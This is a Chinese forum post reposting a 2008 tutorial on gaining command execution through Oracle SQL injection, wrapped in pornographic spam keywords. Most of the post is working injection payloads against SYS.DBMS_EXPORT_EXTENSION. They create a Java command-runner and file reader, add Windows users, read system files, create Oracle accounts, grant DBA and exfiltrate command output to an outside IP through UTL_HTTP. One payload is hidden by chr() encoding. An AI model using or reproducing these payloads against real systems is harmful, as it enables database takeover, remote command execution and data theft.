毛片网站在线看_天堂俺去俺来也www久久婷婷_日韩av免费网站_18性欧美xxxⅹ性满足_一区二区三区韩国免费中文网站 _性xx色xx综合久久久xx_999亚洲国产精


曙海教育集團論壇開發(fā)語言培訓專區(qū)Oracle數(shù)據(jù)庫 → 犀利的 oracle 注入技術


  共有93542人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發(fā)短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發(fā)帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創(chuàng)建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創(chuàng)建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個可以執(zhí)行多語句的函數(shù)Linx_query(),執(zhí)行成功的話返回數(shù)值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執(zhí)行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
毛片网站在线看_天堂俺去俺来也www久久婷婷_日韩av免费网站_18性欧美xxxⅹ性满足_一区二区三区韩国免费中文网站 _性xx色xx综合久久久xx_999亚洲国产精
亚洲成人激情av| 欧美日韩久久久一区| 成人国产亚洲欧美成人综合网| 欧美日韩精品福利| 国产精品美女久久久久久| 激情成人综合网| 欧美精品tushy高清| 一区二区三区成人在线视频| 国产不卡免费视频| 久久久久免费观看| 精品综合免费视频观看| 欧美一级精品大片| 日本亚洲三级在线| 欧美疯狂性受xxxxx喷水图片| 亚洲理论在线观看| 一本色道亚洲精品aⅴ| 国产精品情趣视频| 国产美女一区二区| 久久久高清一区二区三区| 激情都市一区二区| 2023国产精品自拍| 国产高清不卡一区| 久久久高清一区二区三区| 欧美视频在线一区二区三区| 国产精品亲子乱子伦xxxx裸| 国产精品99久久不卡二区| 精品黑人一区二区三区久久| 久久99国产精品尤物| 久久综合狠狠综合| 国产91精品露脸国语对白| 国产精品丝袜久久久久久app| 国产成人免费在线| 国产精品久久久久久久久晋中| 国产精品伊人色| 国产精品欧美极品| av资源站一区| 亚洲国产日韩一级| 日韩欧美激情一区| 国产成人aaaa| 依依成人综合视频| 日韩一区二区在线看| 国产成人免费视频| 亚洲欧美激情视频在线观看一区二区三区| 色综合久久天天| 天使萌一区二区三区免费观看| 7777精品伊人久久久大香线蕉最新版| 日韩不卡免费视频| 久久婷婷综合激情| av中文字幕在线不卡| 亚洲综合激情另类小说区| 91精品国产品国语在线不卡| 裸体健美xxxx欧美裸体表演| 久久婷婷国产综合国色天香| jiyouzz国产精品久久| 亚洲福中文字幕伊人影院| 精品成人在线观看| 色综合视频在线观看| 三级亚洲高清视频| 国产精品视频观看| 777色狠狠一区二区三区| 国产高清精品久久久久| 亚洲国产色一区| 国产欧美综合色| 欧美高清dvd| av成人免费在线| 免费在线观看精品| 亚洲欧美国产77777| 欧美电影免费观看高清完整版在线观看 | 久久精品免费观看| 亚洲免费观看高清完整版在线观看熊| 日韩久久久精品| 欧美性视频一区二区三区| 国产精品中文字幕一区二区三区| 亚洲综合清纯丝袜自拍| 国产亚洲精品福利| 中文字幕佐山爱一区二区免费| 欧美一区二区免费观在线| 91蜜桃视频在线| 久久99久国产精品黄毛片色诱| 亚洲精品国产一区二区三区四区在线 | 亚洲伦在线观看| 国产亚洲欧美一区在线观看| 欧美日韩一区小说| 成人av网站在线观看免费| 免费高清不卡av| 亚洲福利国产精品| 中文字幕一区二区三区色视频| 精品剧情在线观看| 欧美一区二区三区人| 在线精品视频免费观看| 成人激情校园春色| 国产精品99久久久久久久vr | 国产精品麻豆久久久| 精品国产一区二区三区忘忧草 | 99久久精品费精品国产一区二区| 蜜桃视频一区二区| 亚洲午夜私人影院| 亚洲人成网站色在线观看| 欧美激情在线一区二区三区| 日韩亚洲国产中文字幕欧美| 欧美日韩国产乱码电影| 在线观看av一区| 播五月开心婷婷综合| 国产99精品视频| 国产一区999| 国产一区日韩二区欧美三区| 久久99国内精品| 裸体歌舞表演一区二区| 九色综合狠狠综合久久| 久久精品噜噜噜成人av农村| 日韩高清在线一区| 日本女人一区二区三区| 成人动漫精品一区二区| 国产精品亚洲综合一区在线观看| 久久精品国产网站| 精品一区二区三区香蕉蜜桃| 久久99久久99小草精品免视看| 精品一区二区三区在线播放视频| 久久99国产精品尤物| 久久99国产精品久久| 韩国视频一区二区| 国产真实乱对白精彩久久| 国产一区久久久| 成人黄色免费短视频| 91色porny在线视频| 欧美性大战久久| 91麻豆精品国产91久久久久久久久| 欧美伦理电影网| 精品久久久久久无| 亚洲国产精品成人久久综合一区| 日韩美女视频一区| 亚洲无人区一区| 日韩成人免费看| 国产尤物一区二区在线 | 亚洲第一会所有码转帖| 青青草国产成人99久久| 国产一区二区三区不卡在线观看 | 日韩黄色小视频| 国产一区二区在线看| av动漫一区二区| 777色狠狠一区二区三区| 久久久精品国产免大香伊| 亚洲精品中文字幕在线观看| 日本中文一区二区三区| 国产高清一区日本| 欧美午夜精品理论片a级按摩| 日韩欧美国产一区二区三区| 日本一区二区免费在线| 日韩专区中文字幕一区二区| 韩国成人精品a∨在线观看| 色综合婷婷久久| 精品福利一二区| 亚洲综合在线视频| 久久se精品一区精品二区| 99re成人精品视频| 日韩欧美中文一区二区| 日韩美女视频19| 久久狠狠亚洲综合| 91久久线看在观草草青青| 精品成人佐山爱一区二区| 一区二区欧美精品| 国产精品一区在线观看你懂的| 欧美亚洲动漫精品| 国产亚洲一区字幕| 午夜电影久久久| 国产成人在线观看免费网站| 欧美三级日韩三级| 国产欧美精品区一区二区三区| 舔着乳尖日韩一区| 不卡一二三区首页| 精品欧美久久久| 亚洲国产成人av网| 国产成人一区在线| 日韩欧美在线网站| 一区二区三区四区五区视频在线观看| 久久99国产精品免费网站| 欧美系列亚洲系列| 国产精品国产三级国产aⅴ中文 | 九色|91porny| 在线播放/欧美激情| 伊人夜夜躁av伊人久久| 成人永久免费视频| 久久尤物电影视频在线观看| 五月综合激情网| 欧美又粗又大又爽| 国产精品视频第一区| 国产精品一级二级三级| 6080yy午夜一二三区久久| 亚洲一区中文日韩| 一本色道久久综合亚洲91| 国产精品拍天天在线| 国产高清不卡二三区| 久久亚洲一区二区三区明星换脸 | av在线播放成人| 国产精品丝袜久久久久久app| 国产毛片精品一区| 久久新电视剧免费观看| 奇米综合一区二区三区精品视频| 精品视频一区三区九区| 亚洲成人动漫精品|